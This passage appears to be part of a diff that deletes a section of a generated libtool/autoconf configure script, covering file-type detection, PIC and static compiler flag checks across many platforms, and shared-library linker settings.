-# Only perform the check for file, if the check method requires it
-case $deplibs_check_method in
-file_magic*)
- if test "$file_magic_cmd" = '$MAGIC_CMD'; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for ${ac_tool_prefix}file" >&5
-$as_echo_n "checking for ${ac_tool_prefix}file... " >&6; }
-if ${lt_cv_path_MAGIC_CMD+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- case $MAGIC_CMD in
-[\\/*] | ?:[\\/]*)
- lt_cv_path_MAGIC_CMD="$MAGIC_CMD" # Let the user override the test with a path.
- ;;
-*)
- lt_save_MAGIC_CMD="$MAGIC_CMD"
- lt_save_ifs="$IFS"; IFS=$PATH_SEPARATOR
- ac_dummy="/usr/bin$PATH_SEPARATOR$PATH"
- for ac_dir in $ac_dummy; do
- IFS="$lt_save_ifs"
- test -z "$ac_dir" && ac_dir=.
- if test -f $ac_dir/${ac_tool_prefix}file; then
- lt_cv_path_MAGIC_CMD="$ac_dir/${ac_tool_prefix}file"
- if test -n "$file_magic_test_file"; then
- case $deplibs_check_method in
- "file_magic "*)
- file_magic_regex=`expr "$deplibs_check_method" : "file_magic \(.*\)"`
- MAGIC_CMD="$lt_cv_path_MAGIC_CMD"
- if eval $file_magic_cmd \$file_magic_test_file 2> /dev/null |
- $EGREP "$file_magic_regex" > /dev/null; then
- :
- else
- cat <<EOF 1>&2
-
-*** Warning: the command libtool uses to detect shared libraries,
-*** $file_magic_cmd, produces output that libtool cannot recognize.
-*** The result is that libtool may fail to recognize shared libraries
-*** as such. This will affect the creation of libtool libraries that
-*** depend on shared libraries, but programs linked with such libtool
-*** libraries will work regardless of this problem. Nevertheless, you
-*** may want to report the problem to your system manager and/or to
-*** bug-libtool@gnu.org
-
-EOF
- fi ;;
- esac
- fi
- break
- fi
- done
- IFS="$lt_save_ifs"
- MAGIC_CMD="$lt_save_MAGIC_CMD"
- ;;
-esac
-fi
-
-MAGIC_CMD="$lt_cv_path_MAGIC_CMD"
-if test -n "$MAGIC_CMD"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $MAGIC_CMD" >&5
-$as_echo "$MAGIC_CMD" >&6; }
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-$as_echo "no" >&6; }
-fi
-
-if test -z "$lt_cv_path_MAGIC_CMD"; then
- if test -n "$ac_tool_prefix"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for file" >&5
-$as_echo_n "checking for file... " >&6; }
-if ${lt_cv_path_MAGIC_CMD+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- case $MAGIC_CMD in
-[\\/*] | ?:[\\/]*)
- lt_cv_path_MAGIC_CMD="$MAGIC_CMD" # Let the user override the test with a path.
- ;;
-*)
- lt_save_MAGIC_CMD="$MAGIC_CMD"
- lt_save_ifs="$IFS"; IFS=$PATH_SEPARATOR
- ac_dummy="/usr/bin$PATH_SEPARATOR$PATH"
- for ac_dir in $ac_dummy; do
- IFS="$lt_save_ifs"
- test -z "$ac_dir" && ac_dir=.
- if test -f $ac_dir/file; then
- lt_cv_path_MAGIC_CMD="$ac_dir/file"
- if test -n "$file_magic_test_file"; then
- case $deplibs_check_method in
- "file_magic "*)
- file_magic_regex=`expr "$deplibs_check_method" : "file_magic \(.*\)"`
- MAGIC_CMD="$lt_cv_path_MAGIC_CMD"
- if eval $file_magic_cmd \$file_magic_test_file 2> /dev/null |
- $EGREP "$file_magic_regex" > /dev/null; then
- :
- else
- cat <<EOF 1>&2
-
-*** Warning: the command libtool uses to detect shared libraries,
-*** $file_magic_cmd, produces output that libtool cannot recognize.
-*** The result is that libtool may fail to recognize shared libraries
-*** as such. This will affect the creation of libtool libraries that
-*** depend on shared libraries, but programs linked with such libtool
-*** libraries will work regardless of this problem. Nevertheless, you
-*** may want to report the problem to your system manager and/or to
-*** bug-libtool@gnu.org
-
-EOF
- fi ;;
- esac
- fi
- break
- fi
- done
- IFS="$lt_save_ifs"
- MAGIC_CMD="$lt_save_MAGIC_CMD"
- ;;
-esac
-fi
-
-MAGIC_CMD="$lt_cv_path_MAGIC_CMD"
-if test -n "$MAGIC_CMD"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $MAGIC_CMD" >&5
-$as_echo "$MAGIC_CMD" >&6; }
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-$as_echo "no" >&6; }
-fi
-
- else
- MAGIC_CMD=:
- fi
-fi
-
- fi
- ;;
-esac
-
-enable_dlopen=no
-enable_win32_dll=yes
-
-# Check whether --enable-libtool-lock was given.
-if test "${enable_libtool_lock+set}" = set; then :
- enableval=$enable_libtool_lock;
-fi
-
-test "x$enable_libtool_lock" != xno && enable_libtool_lock=yes
-
-
-# Check whether --with-pic was given.
-if test "${with_pic+set}" = set; then :
- withval=$with_pic; pic_mode="$withval"
-else
- pic_mode=default
-fi
-
-test -z "$pic_mode" && pic_mode=default
-
-# Use C for the default configuration in the libtool script
-tagname=
-lt_save_CC="$CC"
-ac_ext=c
-ac_cpp='$CPP $CPPFLAGS'
-ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5'
-ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5'
-ac_compiler_gnu=$ac_cv_c_compiler_gnu
-
-
-# Source file extension for C test sources.
-ac_ext=c
-
-# Object file extension for compiled C test sources.
-objext=o
-objext=$objext
-
-# Code to be used in simple compile tests
-lt_simple_compile_test_code="int some_variable = 0;\n"
-
-# Code to be used in simple link tests
-lt_simple_link_test_code='int main(){return(0);}\n'
-
-
-# If no C compiler was specified, use CC.
-LTCC=${LTCC-"$CC"}
-
-# If no C compiler flags were specified, use CFLAGS.
-LTCFLAGS=${LTCFLAGS-"$CFLAGS"}
-
-# Allow CC to be a program name with arguments.
-compiler=$CC
-
-
-# save warnings/boilerplate of simple test code
-ac_outfile=conftest.$ac_objext
-printf "$lt_simple_compile_test_code" >conftest.$ac_ext
-eval "$ac_compile" 2>&1 >/dev/null | $SED '/^$/d; /^ *+/d' >conftest.err
-_lt_compiler_boilerplate=`cat conftest.err`
-$rm conftest*
-
-ac_outfile=conftest.$ac_objext
-printf "$lt_simple_link_test_code" >conftest.$ac_ext
-eval "$ac_link" 2>&1 >/dev/null | $SED '/^$/d; /^ *+/d' >conftest.err
-_lt_linker_boilerplate=`cat conftest.err`
-$rm conftest*
-
-
-## CAVEAT EMPTOR:
-## There is no encapsulation within the following macros, do not change
-## the running order or otherwise move them around unless you know exactly
-## what you are doing...
-
-lt_prog_compiler_no_builtin_flag=
-
-if test "$GCC" = yes; then
- lt_prog_compiler_no_builtin_flag=' -fno-builtin'
-
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking if $compiler supports -fno-rtti -fno-exceptions" >&5
-$as_echo_n "checking if $compiler supports -fno-rtti -fno-exceptions... " >&6; }
-if ${lt_cv_prog_compiler_rtti_exceptions+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- lt_cv_prog_compiler_rtti_exceptions=no
- ac_outfile=conftest.$ac_objext
- printf "$lt_simple_compile_test_code" > conftest.$ac_ext
- lt_compiler_flag="-fno-rtti -fno-exceptions"
- # Insert the option either (1) after the last *FLAGS variable, or
- # (2) before a word containing "conftest.", or (3) at the end.
- # Note that $ac_compile itself does not contain backslashes and begins
- # with a dollar sign (not a hyphen), so the echo should work correctly.
- # The option is referenced via a variable to avoid confusing sed.
- lt_compile=`echo "$ac_compile" | $SED \
- -e 's:.*FLAGS}\{0,1\} :&$lt_compiler_flag :; t' \
- -e 's: [^ ]*conftest\.: $lt_compiler_flag&:; t' \
- -e 's:$: $lt_compiler_flag:'`
- (eval echo "\"\$as_me:7651: $lt_compile\"" >&5)
- (eval "$lt_compile" 2>conftest.err)
- ac_status=$?
- cat conftest.err >&5
- echo "$as_me:7655: \$? = $ac_status" >&5
- if (exit $ac_status) && test -s "$ac_outfile"; then
- # The compiler can only warn and ignore the option if not recognized
- # So say no if there are warnings other than the usual output.
- $echo "X$_lt_compiler_boilerplate" | $Xsed -e '/^$/d' >conftest.exp
- $SED '/^$/d; /^ *+/d' conftest.err >conftest.er2
- if test ! -s conftest.er2 || diff conftest.exp conftest.er2 >/dev/null; then
- lt_cv_prog_compiler_rtti_exceptions=yes
- fi
- fi
- $rm conftest*
-
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_prog_compiler_rtti_exceptions" >&5
-$as_echo "$lt_cv_prog_compiler_rtti_exceptions" >&6; }
-
-if test x"$lt_cv_prog_compiler_rtti_exceptions" = xyes; then
- lt_prog_compiler_no_builtin_flag="$lt_prog_compiler_no_builtin_flag -fno-rtti -fno-exceptions"
-else
- :
-fi
-
-fi
-
-lt_prog_compiler_wl=
-lt_prog_compiler_pic=
-lt_prog_compiler_static=
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $compiler option to produce PIC" >&5
-$as_echo_n "checking for $compiler option to produce PIC... " >&6; }
-
- if test "$GCC" = yes; then
- lt_prog_compiler_wl='-Wl,'
- lt_prog_compiler_static='-static'
-
- case $host_os in
- aix*)
- # All AIX code is PIC.
- if test "$host_cpu" = ia64; then
- # AIX 5 now supports IA64 processor
- lt_prog_compiler_static='-Bstatic'
- fi
- ;;
-
- amigaos*)
- # FIXME: we need at least 68020 code to build shared libraries, but
- # adding the `-m68020' flag to GCC prevents building anything better,
- # like `-m68040'.
- lt_prog_compiler_pic='-m68020 -resident32 -malways-restore-a4'
- ;;
-
- beos* | cygwin* | irix5* | irix6* | nonstopux* | osf3* | osf4* | osf5*)
- # PIC is the default for these OSes.
- ;;
-
- mingw* | pw32* | os2*)
- # This hack is so that the source file can tell whether it is being
- # built for inclusion in a dll (and should export symbols for example).
- lt_prog_compiler_pic='-DDLL_EXPORT'
- ;;
-
- darwin* | rhapsody*)
- # PIC is the default on this platform
- # Common symbols not allowed in MH_DYLIB files
- lt_prog_compiler_pic='-fno-common'
- ;;
-
- interix3*)
- # Interix 3.x gcc -fpic/-fPIC options generate broken code.
- # Instead, we relocate shared libraries at runtime.
- ;;
-
- msdosdjgpp*)
- # Just because we use GCC doesn't mean we suddenly get shared libraries
- # on systems that don't support them.
- lt_prog_compiler_can_build_shared=no
- enable_shared=no
- ;;
-
- sysv4*MP*)
- if test -d /usr/nec; then
- lt_prog_compiler_pic=-Kconform_pic
- fi
- ;;
-
- hpux*)
- # PIC is the default for IA64 HP-UX and 64-bit HP-UX, but
- # not for PA HP-UX.
- case $host_cpu in
- hppa*64*|ia64*)
- # +Z the default
- ;;
- *)
- lt_prog_compiler_pic='-fPIC'
- ;;
- esac
- ;;
-
- *)
- lt_prog_compiler_pic='-fPIC'
- ;;
- esac
- else
- # PORTME Check for flag to pass linker flags through the system compiler.
- case $host_os in
- aix*)
- lt_prog_compiler_wl='-Wl,'
- if test "$host_cpu" = ia64; then
- # AIX 5 now supports IA64 processor
- lt_prog_compiler_static='-Bstatic'
- else
- lt_prog_compiler_static='-bnso -bI:/lib/syscalls.exp'
- fi
- ;;
- darwin*)
- # PIC is the default on this platform
- # Common symbols not allowed in MH_DYLIB files
- case $cc_basename in
- xlc*)
- lt_prog_compiler_pic='-qnocommon'
- lt_prog_compiler_wl='-Wl,'
- ;;
- esac
- ;;
-
- mingw* | pw32* | os2*)
- # This hack is so that the source file can tell whether it is being
- # built for inclusion in a dll (and should export symbols for example).
- lt_prog_compiler_pic='-DDLL_EXPORT'
- ;;
-
- hpux9* | hpux10* | hpux11*)
- lt_prog_compiler_wl='-Wl,'
- # PIC is the default for IA64 HP-UX and 64-bit HP-UX, but
- # not for PA HP-UX.
- case $host_cpu in
- hppa*64*|ia64*)
- # +Z the default
- ;;
- *)
- lt_prog_compiler_pic='+Z'
- ;;
- esac
- # Is there a better lt_prog_compiler_static that works with the bundled CC?
- lt_prog_compiler_static='${wl}-a ${wl}archive'
- ;;
-
- irix5* | irix6* | nonstopux*)
- lt_prog_compiler_wl='-Wl,'
- # PIC (with -KPIC) is the default.
- lt_prog_compiler_static='-non_shared'
- ;;
-
- newsos6)
- lt_prog_compiler_pic='-KPIC'
- lt_prog_compiler_static='-Bstatic'
- ;;
-
- linux*)
- case $cc_basename in
- icc* | ecc*)
- lt_prog_compiler_wl='-Wl,'
- lt_prog_compiler_pic='-KPIC'
- lt_prog_compiler_static='-static'
- ;;
- pgcc* | pgf77* | pgf90* | pgf95*)
- # Portland Group compilers (*not* the Pentium gcc compiler,
- # which looks to be a dead project)
- lt_prog_compiler_wl='-Wl,'
- lt_prog_compiler_pic='-fpic'
- lt_prog_compiler_static='-Bstatic'
- ;;
- ccc*)
- lt_prog_compiler_wl='-Wl,'
- # All Alpha code is PIC.
- lt_prog_compiler_static='-non_shared'
- ;;
- esac
- ;;
-
- osf3* | osf4* | osf5*)
- lt_prog_compiler_wl='-Wl,'
- # All OSF/1 code is PIC.
- lt_prog_compiler_static='-non_shared'
- ;;
-
- solaris*)
- lt_prog_compiler_pic='-KPIC'
- lt_prog_compiler_static='-Bstatic'
- case $cc_basename in
- f77* | f90* | f95*)
- lt_prog_compiler_wl='-Qoption ld ';;
- *)
- lt_prog_compiler_wl='-Wl,';;
- esac
- ;;
-
- sunos4*)
- lt_prog_compiler_wl='-Qoption ld '
- lt_prog_compiler_pic='-PIC'
- lt_prog_compiler_static='-Bstatic'
- ;;
-
- sysv4 | sysv4.2uw2* | sysv4.3*)
- lt_prog_compiler_wl='-Wl,'
- lt_prog_compiler_pic='-KPIC'
- lt_prog_compiler_static='-Bstatic'
- ;;
-
- sysv4*MP*)
- if test -d /usr/nec ;then
- lt_prog_compiler_pic='-Kconform_pic'
- lt_prog_compiler_static='-Bstatic'
- fi
- ;;
-
- sysv5* | unixware* | sco3.2v5* | sco5v6* | OpenUNIX*)
- lt_prog_compiler_wl='-Wl,'
- lt_prog_compiler_pic='-KPIC'
- lt_prog_compiler_static='-Bstatic'
- ;;
-
- unicos*)
- lt_prog_compiler_wl='-Wl,'
- lt_prog_compiler_can_build_shared=no
- ;;
-
- uts4*)
- lt_prog_compiler_pic='-pic'
- lt_prog_compiler_static='-Bstatic'
- ;;
-
- *)
- lt_prog_compiler_can_build_shared=no
- ;;
- esac
- fi
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_prog_compiler_pic" >&5
-$as_echo "$lt_prog_compiler_pic" >&6; }
-
-#
-# Check to make sure the PIC flag actually works.
-#
-if test -n "$lt_prog_compiler_pic"; then
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking if $compiler PIC flag $lt_prog_compiler_pic works" >&5
-$as_echo_n "checking if $compiler PIC flag $lt_prog_compiler_pic works... " >&6; }
-if ${lt_prog_compiler_pic_works+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- lt_prog_compiler_pic_works=no
- ac_outfile=conftest.$ac_objext
- printf "$lt_simple_compile_test_code" > conftest.$ac_ext
- lt_compiler_flag="$lt_prog_compiler_pic -DPIC"
- # Insert the option either (1) after the last *FLAGS variable, or
- # (2) before a word containing "conftest.", or (3) at the end.
- # Note that $ac_compile itself does not contain backslashes and begins
- # with a dollar sign (not a hyphen), so the echo should work correctly.
- # The option is referenced via a variable to avoid confusing sed.
- lt_compile=`echo "$ac_compile" | $SED \
- -e 's:.*FLAGS}\{0,1\} :&$lt_compiler_flag :; t' \
- -e 's: [^ ]*conftest\.: $lt_compiler_flag&:; t' \
- -e 's:$: $lt_compiler_flag:'`
- (eval echo "\"\$as_me:7919: $lt_compile\"" >&5)
- (eval "$lt_compile" 2>conftest.err)
- ac_status=$?
- cat conftest.err >&5
- echo "$as_me:7923: \$? = $ac_status" >&5
- if (exit $ac_status) && test -s "$ac_outfile"; then
- # The compiler can only warn and ignore the option if not recognized
- # So say no if there are warnings other than the usual output.
- $echo "X$_lt_compiler_boilerplate" | $Xsed -e '/^$/d' >conftest.exp
- $SED '/^$/d; /^ *+/d' conftest.err >conftest.er2
- if test ! -s conftest.er2 || diff conftest.exp conftest.er2 >/dev/null; then
- lt_prog_compiler_pic_works=yes
- fi
- fi
- $rm conftest*
-
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_prog_compiler_pic_works" >&5
-$as_echo "$lt_prog_compiler_pic_works" >&6; }
-
-if test x"$lt_prog_compiler_pic_works" = xyes; then
- case $lt_prog_compiler_pic in
- "" | " "*) ;;
- *) lt_prog_compiler_pic=" $lt_prog_compiler_pic" ;;
- esac
-else
- lt_prog_compiler_pic=
- lt_prog_compiler_can_build_shared=no
-fi
-
-fi
-case $host_os in
- # For platforms which do not support PIC, -DPIC is meaningless:
- *djgpp*)
- lt_prog_compiler_pic=
- ;;
- *)
- lt_prog_compiler_pic="$lt_prog_compiler_pic -DPIC"
- ;;
-esac
-
-#
-# Check to make sure the static flag actually works.
-#
-wl=$lt_prog_compiler_wl eval lt_tmp_static_flag=\"$lt_prog_compiler_static\"
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking if $compiler static flag $lt_tmp_static_flag works" >&5
-$as_echo_n "checking if $compiler static flag $lt_tmp_static_flag works... " >&6; }
-if ${lt_prog_compiler_static_works+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- lt_prog_compiler_static_works=no
- save_LDFLAGS="$LDFLAGS"
- LDFLAGS="$LDFLAGS $lt_tmp_static_flag"
- printf "$lt_simple_link_test_code" > conftest.$ac_ext
- if (eval $ac_link 2>conftest.err) && test -s conftest$ac_exeext; then
- # The linker can only warn and ignore the option if not recognized
- # So say no if there are warnings
- if test -s conftest.err; then
- # Append any errors to the config.log.
- cat conftest.err 1>&5
- $echo "X$_lt_linker_boilerplate" | $Xsed -e '/^$/d' > conftest.exp
- $SED '/^$/d; /^ *+/d' conftest.err >conftest.er2
- if diff conftest.exp conftest.er2 >/dev/null; then
- lt_prog_compiler_static_works=yes
- fi
- else
- lt_prog_compiler_static_works=yes
- fi
- fi
- $rm conftest*
- LDFLAGS="$save_LDFLAGS"
-
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_prog_compiler_static_works" >&5
-$as_echo "$lt_prog_compiler_static_works" >&6; }
-
-if test x"$lt_prog_compiler_static_works" = xyes; then
- :
-else
- lt_prog_compiler_static=
-fi
-
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking if $compiler supports -c -o file.$ac_objext" >&5
-$as_echo_n "checking if $compiler supports -c -o file.$ac_objext... " >&6; }
-if ${lt_cv_prog_compiler_c_o+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- lt_cv_prog_compiler_c_o=no
- $rm -r conftest 2>/dev/null
- mkdir conftest
- cd conftest
- mkdir out
- printf "$lt_simple_compile_test_code" > conftest.$ac_ext
-
- lt_compiler_flag="-o out/conftest2.$ac_objext"
- # Insert the option either (1) after the last *FLAGS variable, or
- # (2) before a word containing "conftest.", or (3) at the end.
- # Note that $ac_compile itself does not contain backslashes and begins
- # with a dollar sign (not a hyphen), so the echo should work correctly.
- lt_compile=`echo "$ac_compile" | $SED \
- -e 's:.*FLAGS}\{0,1\} :&$lt_compiler_flag :; t' \
- -e 's: [^ ]*conftest\.: $lt_compiler_flag&:; t' \
- -e 's:$: $lt_compiler_flag:'`
- (eval echo "\"\$as_me:8023: $lt_compile\"" >&5)
- (eval "$lt_compile" 2>out/conftest.err)
- ac_status=$?
- cat out/conftest.err >&5
- echo "$as_me:8027: \$? = $ac_status" >&5
- if (exit $ac_status) && test -s out/conftest2.$ac_objext
- then
- # The compiler can only warn and ignore the option if not recognized
- # So say no if there are warnings
- $echo "X$_lt_compiler_boilerplate" | $Xsed -e '/^$/d' > out/conftest.exp
- $SED '/^$/d; /^ *+/d' out/conftest.err >out/conftest.er2
- if test ! -s out/conftest.er2 || diff out/conftest.exp out/conftest.er2 >/dev/null; then
- lt_cv_prog_compiler_c_o=yes
- fi
- fi
- chmod u+w . 2>&5
- $rm conftest*
- # SGI C++ compiler will create directory out/ii_files/ for
- # template instantiation
- test -d out/ii_files && $rm out/ii_files/* && rmdir out/ii_files
- $rm out/* && rmdir out
- cd ..
- rmdir conftest
- $rm conftest*
-
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_prog_compiler_c_o" >&5
-$as_echo "$lt_cv_prog_compiler_c_o" >&6; }
-
-
-hard_links="nottested"
-if test "$lt_cv_prog_compiler_c_o" = no && test "$need_locks" != no; then
- # do not overwrite the value of need_locks provided by the user
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking if we can lock with hard links" >&5
-$as_echo_n "checking if we can lock with hard links... " >&6; }
- hard_links=yes
- $rm conftest*
- ln conftest.a conftest.b 2>/dev/null && hard_links=no
- touch conftest.a
- ln conftest.a conftest.b 2>&5 || hard_links=no
- ln conftest.a conftest.b 2>/dev/null && hard_links=no
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $hard_links" >&5
-$as_echo "$hard_links" >&6; }
- if test "$hard_links" = no; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: \`$CC' does not support \`-c -o', so \`make -j' may be unsafe" >&5
-$as_echo "$as_me: WARNING: \`$CC' does not support \`-c -o', so \`make -j' may be unsafe" >&2;}
- need_locks=warn
- fi
-else
- need_locks=no
-fi
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking whether the $compiler linker ($LD) supports shared libraries" >&5
-$as_echo_n "checking whether the $compiler linker ($LD) supports shared libraries... " >&6; }
-
- runpath_var=
- allow_undefined_flag=
- enable_shared_with_static_runtimes=no
- archive_cmds=
- archive_expsym_cmds=
- old_archive_From_new_cmds=
- old_archive_from_expsyms_cmds=
- export_dynamic_flag_spec=
- whole_archive_flag_spec=
- thread_safe_flag_spec=
- hardcode_libdir_flag_spec=
- hardcode_libdir_flag_spec_ld=
- hardcode_libdir_separator=
- hardcode_direct=no
- hardcode_minus_L=no
- hardcode_shlibpath_var=unsupported
- link_all_deplibs=unknown
- hardcode_automatic=no
- module_cmds=
- module_expsym_cmds=
- always_export_symbols=no
- export_symbols_cmds='$NM $libobjs $convenience | $global_symbol_pipe | $SED '\''s/.* //'\'' | sort | uniq > $export_symbols'
- # include_expsyms should be a list of space-separated symbols to be *always*
- # included in the symbol list
- include_expsyms=
- # exclude_expsyms can be an extended regexp of symbols to exclude
- # it will be wrapped by ` (' and `)$', so one must not match beginning or
- # end of line. Example: `a|bc|.*d.*' will exclude the symbols `a' and `bc',
- # as well as any symbol that contains `d'.
- exclude_expsyms="_GLOBAL_OFFSET_TABLE_"
- # Although _GLOBAL_OFFSET_TABLE_ is a valid symbol C name, most a.out
- # platforms (ab)use it in PIC code, but their linkers get confused if
- # the symbol is explicitly referenced. Since portable code cannot
- # rely on this symbol name, it's probably fine to never include it in
- # preloaded symbol tables.
- extract_expsyms_cmds=
- # Just being paranoid about ensuring that cc_basename is set.
- for cc_temp in $compiler""; do
- case $cc_temp in
- compile | *[\\/]compile | ccache | *[\\/]ccache ) ;;
- distcc | *[\\/]distcc | purify | *[\\/]purify ) ;;
- \-*) ;;
- *) break;;
- esac
-done
-cc_basename=`$echo "X$cc_temp" | $Xsed -e 's%.*/%%' -e "s%^$host_alias-%%"`
-
- case $host_os in
- cygwin* | mingw* | pw32*)
- # FIXME: the MSVC++ port hasn't been tested in a loooong time
- # When not using gcc, we currently assume that we are using
- # Microsoft Visual C++.
- if test "$GCC" != yes; then
- with_gnu_ld=no
- fi
- ;;
- interix*)
- # we just hope/assume this is gcc and not c89 (= MSVC++)
- with_gnu_ld=yes
- ;;
- openbsd*)
- with_gnu_ld=no
- ;;
- esac
-
- ld_shlibs=yes
- if test "$with_gnu_ld" = yes; then
- # If archive_cmds runs LD, not CC, wlarc should be empty
- wlarc='${wl}'
-
- # Set some defaults for GNU ld with shared library support. These
- # are reset later if shared libraries are not supported. Putting them
- # here allows them to be overridden if necessary.
- runpath_var=LD_RUN_PATH
- hardcode_libdir_flag_spec='${wl}--rpath ${wl}$libdir'
- export_dynamic_flag_spec='${wl}--export-dynamic'
- # ancient GNU ld didn't support --whole-archive et. al.
- if $LD --help 2>&1 | grep 'no-whole-archive' > /dev/null; then
- whole_archive_flag_spec="$wlarc"'--whole-archive$convenience '"$wlarc"'--no-whole-archive'
- else
- whole_archive_flag_spec=
- fi
- supports_anon_versioning=no
- case `$LD -v 2>/dev/null` in
- *\ [01].* | *\ 2.[0-9].* | *\ 2.10.*) ;; # catch versions < 2.11
- *\ 2.11.93.0.2\ *) supports_anon_versioning=yes ;; # RH7.3 ...
- *\ 2.11.92.0.12\ *) supports_anon_versioning=yes ;; # Mandrake 8.2 ...
- *\ 2.11.*) ;; # other 2.11 versions
- *) supports_anon_versioning=yes ;;
- esac
-
- # See if GNU ld supports shared libraries.
- case $host_os in
- aix3* | aix4* | aix5*)
- # On AIX/PPC, the GNU linker is very broken
- if test "$host_cpu" != ia64; then
- ld_shlibs=no
- cat <<EOF 1>&2
-
-*** Warning: the GNU linker, at least up to release 2.9.1, is reported
-*** to be unable to reliably create shared libraries on AIX.
-*** Therefore, libtool is disabling shared libraries support. If you
-*** really care for shared libraries, you may want to modify your PATH
-*** so that a non-GNU linker is found, and then restart.
-
-EOF
- fi
- ;;
-
- amigaos*)
- archive_cmds='$rm $output_objdir/a2ixlibrary.data~$echo "#define NAME $libname" > $output_objdir/a2ixlibrary.data~$echo "#define LIBRARY_ID 1" >> $output_objdir/a2ixlibrary.data~$echo "#define VERSION $major" >> $output_objdir/a2ixlibrary.data~$echo "#define REVISION $revision" >> $output_objdir/a2ixlibrary.data~$AR $AR_FLAGS $lib $libobjs~$RANLIB $lib~(cd $output_objdir && a2ixlibrary -32)'
- hardcode_libdir_flag_spec='-L$libdir'
- hardcode_minus_L=yes
-
- # Samuel A. Falvo II <kc5tja@dolphin.openprojects.net> reports
- # that the semantics of dynamic libraries on AmigaOS, at least up
- # to version 4, is to share data among multiple programs linked
- # with the same dynamic library. Since this doesn't match the
- # behavior of shared libraries on other platforms, we can't use
- # them.
- ld_shlibs=no
- ;;
-
- beos*)
- if $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null; then
- allow_undefined_flag=unsupported
- # Joseph Beckenbach <jrb3@best.com> says some releases of gcc
- # support --undefined. This deserves some investigation. FIXME
- archive_cmds='$CC -nostart $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
- else
- ld_shlibs=no
- fi
- ;;
-
- cygwin* | mingw* | pw32*)
- # _LT_AC_TAGVAR(hardcode_libdir_flag_spec, ) is actually meaningless,
- # as there is no search path for DLLs.
- hardcode_libdir_flag_spec='-L$libdir'
- allow_undefined_flag=unsupported
- always_export_symbols=no
- enable_shared_with_static_runtimes=yes
- export_symbols_cmds='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS] /s/.* \([^ ]*\)/\1 DATA/'\'' | $SED -e '\''/^[AITW] /s/.* //'\'' | sort | uniq > $export_symbols'
-
- if $LD --help 2>&1 | grep 'auto-import' > /dev/null; then
- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
- # If the export-symbols file already is a .def file (1st line
- # is EXPORTS), use it as is; otherwise, prepend...
- archive_expsym_cmds='if test "x`$SED 1q $export_symbols`" = xEXPORTS; then
- cp $export_symbols $output_objdir/$soname.def;
- else
- echo EXPORTS > $output_objdir/$soname.def;
- cat $export_symbols >> $output_objdir/$soname.def;
- fi~
- $CC -shared $output_objdir/$soname.def $libobjs $deplibs $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
- else
- ld_shlibs=no
- fi
- ;;
-
- interix3*)
- hardcode_direct=no
- hardcode_shlibpath_var=no
- hardcode_libdir_flag_spec='${wl}-rpath,$libdir'
- export_dynamic_flag_spec='${wl}-E'
- # Hack: On Interix 3.x, we cannot compile PIC because of a broken gcc.
- # Instead, shared libraries are loaded at an image base (0x10000000 by
- # default) and relocated if they conflict, which is a slow very memory
- # consuming and fragmenting process. To avoid this, we pick a random,
- # 256 KiB-aligned image base between 0x50000000 and 0x6FFC0000 at link
- # time. Moving up from 0x10000000 also allows more sbrk(2) space.
- archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-h,$soname ${wl}--image-base,`expr ${RANDOM-$$} % 4096 / 2 \* 262144 + 1342177280` -o $lib'
- archive_expsym_cmds='sed "s,^,_," $export_symbols >$output_objdir/$soname.expsym~$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-h,$soname ${wl}--retain-symbols-file,$output_objdir/$soname.expsym ${wl}--image-base,`expr ${RANDOM-$$} % 4096 / 2 \* 262144 + 1342177280` -o $lib'
- ;;
-
- linux*)
- if $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null; then
- tmp_addflag=
- case $cc_basename,$host_cpu in
- pgcc*) # Portland Group C compiler
- whole_archive_flag_spec='${wl}--whole-archive`for conv in $convenience\"\"; do test -n \"$conv\" && new_convenience=\"$new_convenience,$conv\"; done; $echo \"$new_convenience\"` ${wl}--no-whole-archive'
- tmp_addflag=' $pic_flag'
- ;;
- pgf77* | pgf90* | pgf95*) # Portland Group f77 and f90 compilers
- whole_archive_flag_spec='${wl}--whole-archive`for conv in $convenience\"\"; do test -n \"$conv\" && new_convenience=\"$new_convenience,$conv\"; done; $echo \"$new_convenience\"` ${wl}--no-whole-archive'
- tmp_addflag=' $pic_flag -Mnomain' ;;
- ecc*,ia64* | icc*,ia64*) # Intel C compiler on ia64
- tmp_addflag=' -i_dynamic' ;;
- efc*,ia64* | ifort*,ia64*) # Intel Fortran compiler on ia64
